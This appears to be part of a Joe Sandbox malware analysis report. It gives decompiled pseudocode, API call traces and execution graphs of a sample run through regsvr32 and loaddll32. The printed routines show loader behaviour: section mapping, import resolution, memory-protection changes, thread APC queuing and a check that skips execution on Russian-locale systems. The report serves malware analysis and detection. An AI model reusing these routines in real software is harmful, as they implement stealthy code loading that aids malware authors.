                  0x02c52073
                  0x02c52077
                  0x02c52083
                  0x02c52087
                  0x02c520fb
                  0x02c52089
                  0x02c52089
                  0x02c5208d
                  0x02c52092
                  0x02c52097
                  0x02c520b1
                  0x02c520a0
                  0x02c520a0
                  0x02c520a4
                  0x02c520a7
                  0x02c520ac
                  0x02c520ac
                  0x02c520b6
                  0x02c520de
                  0x02c520e4
                  0x02c520e7
                  0x02c520b8
                  0x02c520ba
                  0x02c520c2
                  0x02c520cd
                  0x02c520d2
                  0x02c520d2
                  0x02c520ee
                  0x02c520f5
                  0x02c520f6
                  0x02c520f6
                  0x02c52087
                  0x02c52106

                  APIs
                  • lstrlen.KERNEL32(00000000,00000008,?,74CB4D40,?,?,02C551F7,?,?,?,?,00000102,02C521E7,?,?,74CF81D0), ref: 02C52064
                    • Part of subcall function 02C533DC: RtlAllocateHeap.NTDLL(00000000,00000000,02C562F6), ref: 02C533E8
                    • Part of subcall function 02C57AE9: StrChrA.SHLWAPI(?,0000002F,00000000,00000000,02C52092,00000000,00000001,00000001,?,?,02C551F7,?,?,?,?,00000102), ref: 02C57AF7
                    • Part of subcall function 02C57AE9: StrChrA.SHLWAPI(?,0000003F,?,?,02C551F7,?,?,?,?,00000102,02C521E7,?,?,74CF81D0,00000000), ref: 02C57B01
                  • memcpy.NTDLL(00000000,00000000,00000000,00000000,00000001,00000001,?,?,02C551F7,?,?,?,?,00000102,02C521E7,?), ref: 02C520C2
                  • lstrcpy.KERNEL32(00000000,00000000), ref: 02C520D2
                  • lstrcpy.KERNEL32(00000000,00000000), ref: 02C520DE
                  Memory Dump Source
                  • Source File: 00000000.00000002.777076559.0000000002C51000.00000020.10000000.00040000.00000000.sdmp, Offset: 02C50000, based on PE: true
                  • Associated: 00000000.00000002.777064531.0000000002C50000.00000004.10000000.00040000.00000000.sdmpDownload File
                  • Associated: 00000000.00000002.777105629.0000000002C59000.00000002.10000000.00040000.00000000.sdmpDownload File
                  • Associated: 00000000.00000002.777118792.0000000002C5A000.00000004.10000000.00040000.00000000.sdmpDownload File
                  • Associated: 00000000.00000002.777134029.0000000002C5C000.00000002.10000000.00040000.00000000.sdmpDownload File
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_0_2_2c50000_loaddll32.jbxd
                  Similarity
                  • API ID: lstrcpy$AllocateHeaplstrlenmemcpy
                  • String ID:
                  • API String ID: 3767559652-0
                  • Opcode ID: ba86feb9c082c67027f6b5f9a97c80dc7da1436a11de8bfa91852f59c42d9bd3
                  • Instruction ID: 4436af6333c74e4943967b9a18c1ee562b3056c94964ca59fbb408a2b1e245e2
                  • Opcode Fuzzy Hash: ba86feb9c082c67027f6b5f9a97c80dc7da1436a11de8bfa91852f59c42d9bd3
                  • Instruction Fuzzy Hash: 51218E72500275EBCB129FB5CC44AAFBFF9AF85290B148454FD059B201DB31DA81DBE6
                  Uniqueness

                  Uniqueness Score: -1.00%

                  Function 02C55DE4 Relevance: 5.0, APIs: 4, Instructions: 39stringCOMMON
                  Download Yara Rule
                  C-Code - Quality: 100%
                  			E02C55DE4(void* __ecx, WCHAR* _a4, WCHAR* _a8) {
				void* _v8;
				void* _t18;
				int _t25;
				int _t29;
				int _t34;

				_t29 = lstrlenW(_a4);
				_t25 = lstrlenW(_a8);
				_t18 = E02C533DC(_t25 + _t29 + _t25 + _t29 + 2);
				_v8 = _t18;
				if(_t18 != 0) {
					_t34 = _t29 + _t29;
					memcpy(_t18, _a4, _t34);
					_t10 = _t25 + 2; // 0x2
					memcpy(_v8 + _t34, _a8, _t25 + _t10);
				}
				return _v8;
			}








                  0x02c55df9
                  0x02c55dfd
                  0x02c55e07
                  0x02c55e0c
                  0x02c55e11
                  0x02c55e13
                  0x02c55e1b
                  0x02c55e20
                  0x02c55e2e
                  0x02c55e33
                  0x02c55e3d

                  APIs
                  • lstrlenW.KERNEL32(004F0053,?,74CB5520,00000008,03AD9270,?,02C552D0,004F0053,03AD9270,?,?,?,?,?,?,02C568B6), ref: 02C55DF4
                  • lstrlenW.KERNEL32(02C552D0,?,02C552D0,004F0053,03AD9270,?,?,?,?,?,?,02C568B6), ref: 02C55DFB
                    • Part of subcall function 02C533DC: RtlAllocateHeap.NTDLL(00000000,00000000,02C562F6), ref: 02C533E8
                  • memcpy.NTDLL(00000000,004F0053,74CB69A0,?,?,02C552D0,004F0053,03AD9270,?,?,?,?,?,?,02C568B6), ref: 02C55E1B
                  • memcpy.NTDLL(74CB69A0,02C552D0,00000002,00000000,004F0053,74CB69A0,?,?,02C552D0,004F0053,03AD9270), ref: 02C55E2E
                  Memory Dump Source
                  • Source File: 00000000.00000002.777076559.0000000002C51000.00000020.10000000.00040000.00000000.sdmp, Offset: 02C50000, based on PE: true
                  • Associated: 00000000.00000002.777064531.0000000002C50000.00000004.10000000.00040000.00000000.sdmpDownload File
                  • Associated: 00000000.00000002.777105629.0000000002C59000.00000002.10000000.00040000.00000000.sdmpDownload File
                  • Associated: 00000000.00000002.777118792.0000000002C5A000.00000004.10000000.00040000.00000000.sdmpDownload File
                  • Associated: 00000000.00000002.777134029.0000000002C5C000.00000002.10000000.00040000.00000000.sdmpDownload File
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_0_2_2c50000_loaddll32.jbxd
                  Similarity
                  • API ID: lstrlenmemcpy$AllocateHeap
                  • String ID:
                  • API String ID: 2411391700-0
                  • Opcode ID: 516f70e8bc3632dc5371426584318f2406aa99cc62902e591497c84f2c09a0d9
                  • Instruction ID: 5661b1816a7ba77ea5f85201c2f86920d71e0b4ba6468c22cf64ec37dbe60cd0
                  • Opcode Fuzzy Hash: 516f70e8bc3632dc5371426584318f2406aa99cc62902e591497c84f2c09a0d9
                  • Instruction Fuzzy Hash: 99F03C36900129BB8F119FA8CC84C8F7BADEF493947514462AD0897201E675EA519BA4
                  Uniqueness

                  Uniqueness Score: -1.00%

                  Function 02C57563 Relevance: 5.0, APIs: 4, Instructions: 27stringCOMMON
                  Download Yara Rule
                  APIs
                  • lstrlen.KERNEL32(03AD9BD0,00000000,00000000,00000000,02C53EF9,00000000), ref: 02C57573
                  • lstrlen.KERNEL32(?), ref: 02C5757B
                    • Part of subcall function 02C533DC: RtlAllocateHeap.NTDLL(00000000,00000000,02C562F6), ref: 02C533E8
                  • lstrcpy.KERNEL32(00000000,03AD9BD0), ref: 02C5758F
                  • lstrcat.KERNEL32(00000000,?), ref: 02C5759A
                  Memory Dump Source
                  • Source File: 00000000.00000002.777076559.0000000002C51000.00000020.10000000.00040000.00000000.sdmp, Offset: 02C50000, based on PE: true
                  • Associated: 00000000.00000002.777064531.0000000002C50000.00000004.10000000.00040000.00000000.sdmpDownload File
                  • Associated: 00000000.00000002.777105629.0000000002C59000.00000002.10000000.00040000.00000000.sdmpDownload File
                  • Associated: 00000000.00000002.777118792.0000000002C5A000.00000004.10000000.00040000.00000000.sdmpDownload File
                  • Associated: 00000000.00000002.777134029.0000000002C5C000.00000002.10000000.00040000.00000000.sdmpDownload File
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_0_2_2c50000_loaddll32.jbxd
                  Similarity
                  • API ID: lstrlen$AllocateHeaplstrcatlstrcpy
                  • String ID:
                  • API String ID: 74227042-0
                  • Opcode ID: 26678699f5d7ab78c31a4fee7ae1dc7a6e0e441648ccd54a7d7eb8fcc24fe246
                  • Instruction ID: 657ca56e3bc89e1a1e41993746c9b9c7ce724f23b11d16fbc75de2c91618a7a5
                  • Opcode Fuzzy Hash: 26678699f5d7ab78c31a4fee7ae1dc7a6e0e441648ccd54a7d7eb8fcc24fe246
                  • Instruction Fuzzy Hash: F7E06D33901630AB87115BA8AC48D5FBBADEEC96613040D5AFA04E3100C731D9528BE5
                  Uniqueness

                  Uniqueness Score: -1.00%

                  Execution Graph

                  Execution Coverage:27.6%
                  Dynamic/Decrypted Code Coverage:100%
                  Signature Coverage:0%
                  Total number of Nodes:180
                  Total number of Limit Nodes:14
                  execution_graph 1051 d20000 1052 d200a0 1051->1052 1054 d200a5 1052->1054 1055 d20109 GetPEB 1054->1055 1056 d20129 1054->1056 1055->1056 1073 d20d1e 1056->1073 1058 d2018d 1059 d20d1e NtAllocateVirtualMemory 1058->1059 1060 d2019d 1059->1060 1061 d20d7d NtFreeVirtualMemory 1060->1061 1062 d201f5 1061->1062 1063 d20d1e NtAllocateVirtualMemory 1062->1063 1065 d20229 1062->1065 1063->1065 1064 d2026d 1064->1052 1065->1064 1066 d20d7d NtFreeVirtualMemory 1065->1066 1067 d202a2 1066->1067 1068 d20a96 GetPEB GetPEB 1067->1068 1070 d202ce 1068->1070 1069 d20384 1069->1052 1070->1069 1071 2df17ef 12 API calls 1070->1071 1072 2df1f97 6 API calls 1070->1072 1071->1069 1072->1069 1075 d20d2e 1073->1075 1076 d20d6e NtAllocateVirtualMemory 1075->1076 1233 d20941 1234 d20961 1233->1234 1235 d20995 1234->1235 1243 d211a6 1234->1243 1237 d211a6 NtAllocateVirtualMemory 1235->1237 1240 d209df 1235->1240 1237->1240 1238 d20a8d 1239 d20a43 1239->1238 1242 d211a6 NtAllocateVirtualMemory 1239->1242 1240->1238 1240->1239 1241 d211a6 NtAllocateVirtualMemory 1240->1241 1241->1239 1242->1238 1244 d211d5 1243->1244 1245 d211ba 1243->1245 1244->1235 1246 d20d1e NtAllocateVirtualMemory 1245->1246 1246->1244 1257 2df1c3c 1258 2df1c4e 1257->1258 1259 2df1c45 WaitForSingleObject 1257->1259 1259->1258 1260 2df22ac 1261 2df22ca 1260->1261 1263 2df2360 1260->1263 1266 2df24c5 1261->1266 1265 2df22e5 1265->1263 1270 2df23b0 RtlUnwind 1265->1270 1268 2df24da 1266->1268 1269 2df24f6 1266->1269 1267 2df2565 NtQueryVirtualMemory 1267->1269 1268->1267 1268->1269 1269->1265 1271 2df23c8 1270->1271 1271->1265 1231 d20c5a GetPEB 1232 d20c75 1231->1232 1247 d2124a 1248 d212aa 1247->1248 1249 d2125b 1247->1249 1249->1248 1251 d20d7d 1249->1251 1253 d20d8d 1251->1253 1254 d20dc6 NtFreeVirtualMemory 1253->1254 1077 2df1ff5 GetCurrentThread SetThreadAffinityMask 1078 2df2018 1077->1078 1079 2df2013 SetThreadPriority 1077->1079 1084 2df1226 1078->1084 1079->1078 1082 2df202b 1083 2df2027 SetThreadPriority 1083->1082 1116 2df1f1e CreateEventA 1084->1116 1087 2df1253 NtQuerySystemInformation 1088 2df1231 1087->1088 1088->1087 1094 2df13a0 1088->1094 1123 2df2046 RtlAllocateHeap 1088->1123 1124 2df1ac4 1088->1124 1130 2df1cd6 RtlFreeHeap 1088->1130 1092 2df12b0 1093 2df12ba GetLocaleInfoA 1092->1093 1092->1094 1095 2df12ec 1093->1095 1096 2df12d4 GetSystemDefaultUILanguage VerLanguageNameA 1093->1096 1094->1082 1094->1083 1097 2df1392 1095->1097 1098 2df134f 1095->1098 1099 2df1300 1095->1099 1096->1095 1097->1094 1100 2df139a GetLastError 1097->1100 1143 2df1f97 CreateThread 1098->1143 1131 2df1516 1099->1131 1100->1094 1105 2df1389 GetLastError 1105->1097 1106 2df1365 WaitForSingleObject 1109 2df1375 GetExitCodeThread 1106->1109 1110 2df1380 CloseHandle 1106->1110 1107 2df130d GetLongPathNameW 1108 2df133f 1107->1108 1111 2df1321 1107->1111 1108->1098 1109->1110 1110->1097 1141 2df2046 RtlAllocateHeap 1111->1141 1113 2df132b 1113->1108 1114 2df1334 GetLongPathNameW 1113->1114 1142 2df1cd6 RtlFreeHeap 1114->1142 1117 2df1f3c GetVersion 1116->1117 1118 2df1f90 GetLastError 1116->1118 1119 2df1f46 1117->1119 1120 2df1f53 GetCurrentProcessId OpenProcess 1119->1120 1121 2df1f8b 1119->1121 1122 2df1f80 1120->1122 1121->1088 1122->1088 1123->1088 1125 2df1aeb 1124->1125 1126 2df129b Sleep 1125->1126 1147 2df2046 RtlAllocateHeap 1125->1147 1126->1088 1126->1092 1128 2df1b5a 1128->1126 1148 2df1cd6 RtlFreeHeap 1128->1148 1130->1088 1149 2df2046 RtlAllocateHeap 1131->1149 1133 2df153a GetModuleFileNameW 1135 2df156b 1133->1135 1139 2df1534 1133->1139 1134 2df1309 1134->1107 1134->1108 1135->1134 1136 2df157d GetLastError 1135->1136 1152 2df1cd6 RtlFreeHeap 1136->1152 1139->1133 1139->1134 1139->1135 1150 2df1cd6 RtlFreeHeap 1139->1150 1151 2df2046 RtlAllocateHeap 1139->1151 1141->1113 1142->1108 1144 2df135f 1143->1144 1145 2df1fba QueueUserAPC 1143->1145 1144->1105 1144->1106 1145->1144 1146 2df1fcd GetLastError TerminateThread CloseHandle SetLastError 1145->1146 1146->1144 1147->1128 1148->1126 1149->1139 1150->1139 1151->1139 1152->1134 1153 2df20a4 1154 2df20bd 1153->1154 1165 2df1e4a ConvertStringSecurityDescriptorToSecurityDescriptorA 1154->1165 1156 2df20d1 1166 2df13a7 1156->1166 1158 2df20f6 1159 2df20fa lstrlenW 1158->1159 1160 2df2151 ExitThread 1158->1160 1171 2df1598 GetSystemTimeAsFileTime _aulldiv _snwprintf 1159->1171 1164 2df211d 1182 2df166a 1164->1182 1165->1156 1169 2df1408 1166->1169 1168 2df14b3 1168->1158 1169->1168 1193 2df2046 RtlAllocateHeap 1169->1193 1194 2df1cd6 RtlFreeHeap 1169->1194 1172 2df15f6 CreateFileMappingW 1171->1172 1173 2df15f1 1171->1173 1174 2df1659 GetLastError 1172->1174 1175 2df1611 1172->1175 1173->1172 1178 2df163a 1174->1178 1176 2df161c GetLastError 1175->1176 1177 2df162a MapViewOfFile 1175->1177 1176->1177 1179 2df1625 1176->1179 1177->1178 1180 2df1648 GetLastError 1177->1180 1178->1164 1181 2df1650 CloseHandle 1179->1181 1180->1178 1180->1181 1181->1178 1195 2df1142 1182->1195 1184 2df1702 1184->1160 1185 2df16a6 1185->1184 1186 2df16f0 1185->1186 1208 2df1ceb 1185->1208 1220 2df1cd6 RtlFreeHeap 1186->1220 1192 2df16e8 GetLastError 1192->1186 1193->1169 1194->1169 1221 2df2046 RtlAllocateHeap 1195->1221 1197 2df1150 1198 2df115a GetModuleHandleA GetProcAddress 1197->1198 1199 2df1206 1197->1199 1200 2df11ff 1198->1200 1201 2df1191 GetProcAddress 1198->1201 1199->1185 1200->1199 1228 2df1cd6 RtlFreeHeap 1200->1228 1201->1200 1203 2df11a7 GetProcAddress 1201->1203 1203->1200 1204 2df11bd GetProcAddress 1203->1204 1204->1200 1205 2df11d3 GetProcAddress 1204->1205 1205->1200 1206 2df11e9 1205->1206 1222 2df1e76 NtCreateSection 1206->1222 1209 2df16c5 1208->1209 1210 2df1d0e 1208->1210 1209->1186 1215 2df170e VirtualProtect 1209->1215 1210->1209 1213 2df1d1e 1210->1213 1211 2df1d1f LoadLibraryA 1212 2df1de2 1211->1212 1211->1213 1212->1209 1213->1211 1213->1212 1214 2df1d91 GetProcAddress 1213->1214 1214->1213 1216 2df16d3 1215->1216 1217 2df1757 1215->1217 1216->1186 1216->1192 1217->1216 1218 2df17ad VirtualProtect 1217->1218 1218->1217 1219 2df17c2 GetLastError 1218->1219 1219->1217 1220->1184 1221->1197 1223 2df1f07 1222->1223 1224 2df1eda 1222->1224 1223->1200 1229 2df205b NtMapViewOfSection 1224->1229 1227 2df1eee memset 1227->1223 1228->1199 1230 2df1ee8 1229->1230 1230->1223 1230->1227 1272 2df22a4 1273 2df22ac 1272->1273 1274 2df24c5 NtQueryVirtualMemory 1273->1274 1275 2df2360 1273->1275 1277 2df22e5 1274->1277 1276 2df23b0 RtlUnwind 1276->1277 1277->1275 1277->1276

                  Callgraph

                  • Executed
                  • Not Executed
                  • Opacity -> Relevance
                  • Disassembly available
                  callgraph 0 Function_00D20DD2 38 Function_00D20DE2 0->38 1 Function_02DF205B 2 Function_00D208D6 40 Function_00D208E6 2->40 3 Function_00D20756 4 Function_02DF2258 5 Function_00D20C5A 43 Function_00D207EE 5->43 6 Function_00D20FDA 7 Function_02DF1CD6 8 Function_02DF1C51 42 Function_02DF2164 8->42 67 Function_02DF1000 8->67 9 Function_02DF23D0 63 Function_02DF240B 9->63 10 Function_00D2135D 11 Function_00D204C0 15 Function_00D204C6 11->15 12 Function_00D20941 82 Function_00D211A6 12->82 13 Function_00D20E41 28 Function_00D2077A 13->28 70 Function_00D207B6 13->70 14 Function_02DF18CB 35 Function_02DF10F3 14->35 57 Function_02DF1A90 14->57 16 Function_02DF1E4A 17 Function_02DF23C8 18 Function_00D2124A 18->0 36 Function_00D20D7D 18->36 19 Function_02DF2046 20 Function_00D2104B 20->3 53 Function_00D20798 20->53 21 Function_02DF24C5 22 Function_02DF1AC4 22->7 22->19 22->42 23 Function_00D212C9 62 Function_00D21100 23->62 24 Function_02DF1142 24->7 24->19 30 Function_02DF1E76 24->30 25 Function_02DF2240 26 Function_00D203F1 27 Function_02DF247B 60 Function_00D20703 28->60 29 Function_02DF1DF6 29->4 54 Function_02DF2293 29->54 30->1 31 Function_02DF1FF5 87 Function_02DF1226 31->87 32 Function_02DF21F5 33 Function_00D20AF8 65 Function_00D20B08 33->65 34 Function_00D20B79 66 Function_00D20B89 34->66 68 Function_00D20D8D 36->68 37 Function_02DF17EF 37->29 50 Function_02DF1F97 37->50 39 Function_02DF1CEB 41 Function_02DF166A 41->7 41->8 41->24 41->39 59 Function_02DF170E 41->59 44 Function_02DF30E2 45 Function_02DF1F1E 46 Function_02DF249E 47 Function_00D20A96 81 Function_00D20AA6 47->81 48 Function_02DF1598 49 Function_00D20815 51 Function_00D2071A 52 Function_02DF1516 52->7 52->19 53->51 55 Function_00D20D1E 90 Function_00D20D2E 55->90 56 Function_02DF2392 56->63 58 Function_02DF220F 61 Function_00D20000 84 Function_00D200A5 61->84 62->0 62->28 85 Function_02DF24A7 63->85 64 Function_00D20805 64->49 69 Function_02DF1C3C 71 Function_02DF1E3A 71->54 72 Function_00D20034 73 Function_00D20735 74 Function_02DF1E36 75 Function_02DF2234 76 Function_00D204BC 77 Function_02DF23B0 78 Function_00D20FA2 79 Function_00D203A0 80 Function_02DF22AC 80->21 80->63 80->77 80->85 82->0 82->11 82->55 83 Function_00D204A6 84->0 84->2 84->10 84->33 84->34 84->36 84->37 84->47 84->50 84->55 84->64 84->79 86 Function_02DF13A7 86->7 86->14 86->19 86->42 87->7 87->19 87->22 87->45 87->50 87->52 88 Function_02DF20A4 88->16 88->41 88->42 88->48 88->86 89 Function_02DF22A4 89->21 89->63 89->77 89->85 91 Function_02DF21A0 91->32

                  Executed Functions

                  Function 02DF1226 Relevance: 18.1, APIs: 12, Instructions: 139sleepnativesynchronizationCOMMON
                  Download Yara Rule

                  Control-flow Graph

                  C-Code - Quality: 79%
                  			E02DF1226(char _a4) {
				long _v8;
				char _v12;
				char _v36;
				long _t29;
				long _t31;
				long _t32;
				signed short _t34;
				long _t39;
				intOrPtr _t47;
				signed int _t54;
				signed int _t55;
				long _t60;
				intOrPtr _t62;
				void* _t67;
				void* _t69;
				signed int _t71;
				signed int _t72;
				void* _t76;
				intOrPtr* _t77;

				_t29 = E02DF1F1E();
				_v8 = _t29;
				if(_t29 != 0) {
					return _t29;
				} else {
					do {
						_t71 = 0;
						_v12 = 0;
						_t60 = 0x30;
						do {
							_t67 = E02DF2046(_t60);
							if(_t67 == 0) {
								_v8 = 8;
							} else {
								_t54 = NtQuerySystemInformation(8, _t67, _t60,  &_v12); // executed
								_t63 = _t54;
								_t55 = _t54 & 0x0000ffff;
								_v8 = _t55;
								if(_t55 == 4) {
									_t60 = _t60 + 0x30;
								}
								_t72 = 0x13;
								_t10 = _t63 + 1; // 0x1
								_t71 =  *_t67 % _t72 + _t10;
								E02DF1CD6(_t67);
							}
						} while (_v8 != 0);
						_t31 = E02DF1AC4(_t71); // executed
						_v8 = _t31;
						Sleep(_t71 << 4); // executed
						_t32 = _v8;
					} while (_t32 == 0x15);
					if(_t32 != 0) {
						L28:
						return _t32;
					}
					_v12 = 0;
					_t34 = GetLocaleInfoA(0x400, 0x5a,  &_v12, 4);
					if(_t34 == 0) {
						__imp__GetSystemDefaultUILanguage();
						_t63 =  &_v12;
						VerLanguageNameA(_t34 & 0xffff,  &_v12, 4);
					}
					if(_v12 == 0x5552) {
						L26:
						_t32 = _v8;
						if(_t32 == 0xffffffff) {
							_t32 = GetLastError();
						}
						goto L28;
					} else {
						if(_a4 != 0) {
							L21:
							_push(0);
							_t76 = E02DF1F97(E02DF20A4,  &_v36);
							if(_t76 == 0) {
								_v8 = GetLastError();
							} else {
								_t39 = WaitForSingleObject(_t76, 0xffffffff);
								_v8 = _t39;
								if(_t39 == 0) {
									GetExitCodeThread(_t76,  &_v8);
								}
								CloseHandle(_t76);
							}
							goto L26;
						}
						if(E02DF1516(_t63,  &_a4) != 0) {
							 *0x2df41b8 = 0;
							goto L21;
						}
						_t62 = _a4;
						_t77 = __imp__GetLongPathNameW;
						_t69 =  *_t77(_t62, 0, 0);
						if(_t69 == 0) {
							L19:
							 *0x2df41b8 = _t62;
							goto L21;
						}
						_t23 = _t69 + 2; // 0x2
						_t47 = E02DF2046(_t69 + _t23);
						 *0x2df41b8 = _t47;
						if(_t47 == 0) {
							goto L19;
						}
						 *_t77(_t62, _t47, _t69);
						E02DF1CD6(_t62);
						goto L21;
					}
				}
			}






















                  0x02df122c
                  0x02df1231
                  0x02df1236
                  0x02df13a4
                  0x02df123c
                  0x02df123f
                  0x02df123f
                  0x02df1243
                  0x02df1246
                  0x02df1247
                  0x02df124d
                  0x02df1251
                  0x02df1288
                  0x02df1253
                  0x02df125b
                  0x02df1261
                  0x02df1263
                  0x02df1268
                  0x02df126e
                  0x02df1270
                  0x02df1270
                  0x02df1277
                  0x02df127d
                  0x02df127d
                  0x02df1281
                  0x02df1281
                  0x02df128f
                  0x02df1296
                  0x02df129f
                  0x02df12a2
                  0x02df12a8
                  0x02df12ab
                  0x02df12b4
                  0x02df13a0
                  0x00000000
                  0x02df13a2
                  0x02df12c7
                  0x02df12ca
                  0x02df12d2
                  0x02df12d4
                  0x02df12df
                  0x02df12e7
                  0x02df12e7
                  0x02df12f5
                  0x02df1392
                  0x02df1392
                  0x02df1398
                  0x02df139a
                  0x02df139a
                  0x00000000
                  0x02df12fb
                  0x02df12fe
                  0x02df134f
                  0x02df134f
                  0x02df135f
                  0x02df1363
                  0x02df138f
                  0x02df1365
                  0x02df1368
                  0x02df136e
                  0x02df1373
                  0x02df137a
                  0x02df137a
                  0x02df1381
                  0x02df1381
                  0x00000000
                  0x02df1363
                  0x02df130b
                  0x02df1349
                  0x00000000
                  0x02df1349
                  0x02df130d
                  0x02df1312
                  0x02df131b
                  0x02df131f
                  0x02df1341
                  0x02df1341
                  0x00000000
                  0x02df1341
                  0x02df1321
                  0x02df1326
                  0x02df132b
                  0x02df1332
                  0x00000000
                  0x00000000
                  0x02df1337
                  0x02df133a
                  0x00000000
                  0x02df133a
                  0x02df12f5

                  APIs
                    • Part of subcall function 02DF1F1E: CreateEventA.KERNEL32(00000000,00000001,00000000,00000000,00000000,02DF1231), ref: 02DF1F2D
                    • Part of subcall function 02DF1F1E: GetVersion.KERNEL32 ref: 02DF1F3C
                    • Part of subcall function 02DF1F1E: GetCurrentProcessId.KERNEL32 ref: 02DF1F58
                    • Part of subcall function 02DF1F1E: OpenProcess.KERNEL32(0010047A,00000000,00000000), ref: 02DF1F71
                    • Part of subcall function 02DF2046: RtlAllocateHeap.NTDLL(00000000,?,02DF124D,00000030,74CB63F0,00000000), ref: 02DF2052
                  • NtQuerySystemInformation.NTDLL(00000008,00000000,00000030,?), ref: 02DF125B
                  • Sleep.KERNEL32(00000000,00000000,00000030,74CB63F0,00000000), ref: 02DF12A2
                  • GetLocaleInfoA.KERNEL32(00000400,0000005A,?,00000004), ref: 02DF12CA
                  • GetSystemDefaultUILanguage.KERNEL32 ref: 02DF12D4
                  • VerLanguageNameA.KERNEL32(?,?,00000004), ref: 02DF12E7
                  • GetLongPathNameW.KERNEL32(?,00000000,00000000), ref: 02DF1319
                  • GetLongPathNameW.KERNEL32(?,00000000,00000000), ref: 02DF1337
                  • WaitForSingleObject.KERNEL32(00000000,000000FF,02DF20A4,?,00000000), ref: 02DF1368
                  • GetExitCodeThread.KERNEL32(00000000,00000000), ref: 02DF137A
                  • CloseHandle.KERNEL32(00000000), ref: 02DF1381
                  • GetLastError.KERNEL32(02DF20A4,?,00000000), ref: 02DF1389
                  • GetLastError.KERNEL32 ref: 02DF139A
                  Memory Dump Source
                  • Source File: 00000003.00000002.776263267.0000000002DF0000.00000040.00001000.00020000.00000000.sdmp, Offset: 02DF0000, based on PE: true
                  • Associated: 00000003.00000002.776263267.0000000002DF5000.00000040.00001000.00020000.00000000.sdmpDownload File
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_3_2_2df0000_regsvr32.jbxd
                  Similarity
                  • API ID: Name$ErrorLanguageLastLongPathProcessSystem$AllocateCloseCodeCreateCurrentDefaultEventExitHandleHeapInfoInformationLocaleObjectOpenQuerySingleSleepThreadVersionWait
                  • String ID:
                  • API String ID: 1327471650-0
                  • Opcode ID: 4ce3c647ca7dfc5eb29bca53eb75aba50f5c6879dce4f586f24a741571f3fd17
                  • Instruction ID: a64a1424c9900105ef862de56a80f531b89c63c31e0638e53c6f9870a714e788
                  • Opcode Fuzzy Hash: 4ce3c647ca7dfc5eb29bca53eb75aba50f5c6879dce4f586f24a741571f3fd17
                  • Instruction Fuzzy Hash: 9F41C371D00215FADBA0AFA5D844AAE7BBDEF04754F224556EB49D7780DB30CE40CBA8
                  Uniqueness

                  Uniqueness Score: -1.00%

                  Function 02DF1E76 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 70nativeCOMMON
                  Download Yara Rule

                  Control-flow Graph

                  • Executed
                  • Not Executed
                  control_flow_graph 105 2df1e76-2df1ed8 NtCreateSection 106 2df1f0f-2df1f13 105->106 107 2df1eda-2df1ee3 call 2df205b 105->107 111 2df1f15-2df1f1b 106->111 110 2df1ee8-2df1eec 107->110 112 2df1eee-2df1f05 memset 110->112 113 2df1f07-2df1f0d 110->113 112->111 113->111
                  C-Code - Quality: 72%
                  			E02DF1E76(intOrPtr* __eax, void** _a4) {
				int _v12;
				void* _v16;
				void* _v20;
				void* _v24;
				int _v28;
				int _v32;
				intOrPtr _v36;
				int _v40;
				int _v44;
				void* _v48;
				void* __esi;
				long _t34;
				void* _t39;
				void* _t47;
				intOrPtr* _t48;

				_t48 = __eax;
				asm("stosd");
				asm("stosd");
				asm("stosd");
				asm("stosd");
				asm("stosd");
				asm("stosd");
				_v24 =  *((intOrPtr*)(__eax + 4));
				_v16 = 0;
				_v12 = 0;
				_v48 = 0x18;
				_v44 = 0;
				_v36 = 0x40;
				_v40 = 0;
				_v32 = 0;
				_v28 = 0;
				_t34 = NtCreateSection( &_v16, 0xf001f,  &_v48,  &_v24,  *(__eax + 8), 0x8000000, 0);
				if(_t34 < 0) {
					_t47 =  *((intOrPtr*)(_t48 + 0x18))(_t34);
				} else {
					 *_t48 = _v16;
					_t39 = E02DF205B(_t48,  &_v12); // executed
					_t47 = _t39;
					if(_t47 != 0) {
						 *((intOrPtr*)(_t48 + 0x1c))(_v16);
					} else {
						memset(_v12, 0, _v24);
						 *_a4 = _v12;
					}
				}
				return _t47;
			}


















                  0x02df1e7f
                  0x02df1e86
                  0x02df1e87
                  0x02df1e88
                  0x02df1e89
                  0x02df1e8a
                  0x02df1e9b
                  0x02df1e9f
                  0x02df1eb3
                  0x02df1eb6
                  0x02df1eb9
                  0x02df1ec0
                  0x02df1ec3
                  0x02df1eca
                  0x02df1ecd
                  0x02df1ed0
                  0x02df1ed3
                  0x02df1ed8
                  0x02df1f13
                  0x02df1eda
                  0x02df1edd
                  0x02df1ee3
                  0x02df1ee8
                  0x02df1eec
                  0x02df1f0a
                  0x02df1eee
                  0x02df1ef5
                  0x02df1f03
                  0x02df1f03
                  0x02df1eec
                  0x02df1f1b

                  APIs
                  • NtCreateSection.NTDLL(?,000F001F,?,?,?,08000000,00000000,74CB4EE0,00000000,00000000), ref: 02DF1ED3
                    • Part of subcall function 02DF205B: NtMapViewOfSection.NTDLL(00000000,000000FF,02DF1EE8,00000000,00000000,?,?,00000002,00000000,?,?,00000000,?,02DF1EE8,?), ref: 02DF2088
                  • memset.NTDLL ref: 02DF1EF5
                  Strings
                  Memory Dump Source
                  • Source File: 00000003.00000002.776263267.0000000002DF0000.00000040.00001000.00020000.00000000.sdmp, Offset: 02DF0000, based on PE: true
                  • Associated: 00000003.00000002.776263267.0000000002DF5000.00000040.00001000.00020000.00000000.sdmpDownload File
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_3_2_2df0000_regsvr32.jbxd
                  Similarity
                  • API ID: Section$CreateViewmemset
                  • String ID: @
                  • API String ID: 2533685722-2766056989
                  • Opcode ID: fa753cef06104476d53969443a654dc04909e7da4e769446aba477b5a702ba18
                  • Instruction ID: 904d5351483b577f843dc7968a0e4f21d0de0937372c73cb0eb6856d8e9ba44d
                  • Opcode Fuzzy Hash: fa753cef06104476d53969443a654dc04909e7da4e769446aba477b5a702ba18
                  • Instruction Fuzzy Hash: 9C2108B2D00209AFCB11DFA9C8849EEFBB9EF48354F11446AE656F3210D731AA458F64
                  Uniqueness

                  Uniqueness Score: -1.00%

                  Function 00D20D2E Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 30memorynativeCOMMON
                  Download Yara Rule

                  Control-flow Graph

                  • Executed
                  • Not Executed
                  control_flow_graph 128 d20d2e-d20d7a NtAllocateVirtualMemory
                  APIs
                  • NtAllocateVirtualMemory.NTDLL(000000FF,?,00000000,?,00001000,?,00D20D2E,?,?,?,?,009443B5), ref: 00D20D6F
                  Strings
